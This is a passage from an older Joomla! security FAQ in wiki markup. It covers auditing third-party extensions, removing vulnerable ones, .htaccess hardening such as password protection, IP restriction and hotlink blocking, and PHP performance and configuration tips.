: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan to install a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as is.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add Apache rewrite rules to your .htaccess file. For example, the following will redirect all attempts to access files with names starting with, &amp;quot;phpMyAdmin&amp;quot; to index.php.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^/phpMyAdmin.*$ /index.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of filename&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 * Means one or more of the previous character&lt;br /&gt;
 $ Means end of line&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
      Options +FollowSymLinks&lt;br /&gt;
      Redirect /joomla.html http://www.joomla.org&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.mysite.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;mysite.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a sub-domain, for example &amp;quot;test&amp;quot; you need to modify .htaccess as follows:&lt;br /&gt;
&lt;br /&gt;
      Options +FollowSymLinks&lt;br /&gt;
      Redirect /test/joomla.html http://www.joomla.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you can not use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
 RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://(.+\.)?your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;No Case&amp;quot;, which means, match upper and lower case characters. The third line allows empty referrals. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
 RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://(.+\.)?myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://(.+\.)?blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://(.+\.)?livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule .*\.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
